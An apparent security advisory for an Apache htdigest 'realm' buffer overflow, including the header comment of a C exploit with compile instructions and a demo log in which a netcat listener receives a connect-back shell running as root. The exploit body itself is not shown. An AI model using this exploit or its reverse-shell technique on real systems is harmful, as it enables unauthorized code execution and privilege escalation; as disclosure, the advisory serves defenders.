  Apache HTDigest Realm Command Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

htdigest is "a utility included with Apache Web Server, useful to create 
and update usernames, realms and passwords for digest authentication of 
HTTP users".

Due improper testing of bounds by the htdigest program, an attacker that 
is able to invoke the program can cause it to execute arbitrary code.

DETAILS

Exploit:
/*
 * htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net }
 *
 * exploit for htdigest 'realm' parameter overflow; not sure on versions, 
seems to be <= 1.3.27 <= 2.0.52
 * http://www.securiteam.com/unixfocus/5EP061FEKC.html
 *
 * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
 *
 * One thing to note, apache seems to have htdigest going on quite odd, 
this code was written
 * for the version that the htdigest sh script links together, debian 
seems to install the actual binary,
 * so these might not be compatible. Also to note, this code was tested 
and created using the htdigest
 * script/lt-htdigest that comes with apache 2.0.52
 *
 * kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file 
`./htdigest-realm-bof` user
 * Adding password for user in realm 1 1 1 Q Q Q Q f 1 1 QQhfh9 fQ SWR f 1

 * 1 .
 * ^[[?1;2cNew password:
 * Re-type new password:
 *
 * kspecial@xzziroz:~$ nc -lvp 1337
 * listening on [any] 1337 ...
 * 127.1.1.1: inverse host lookup failed: Unknown host
 * connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965
 * id
 * uid=1000(kspecial) gid=1000(kspecial) euid=0(root) 
groups=100(users),1000(kspecial),1002(media)
 *
 *
 * Of course the binary is not setuid by default. This ploit could be 
possibly useful to gain a
 * shell when htdigest is being ran through a CGI script.
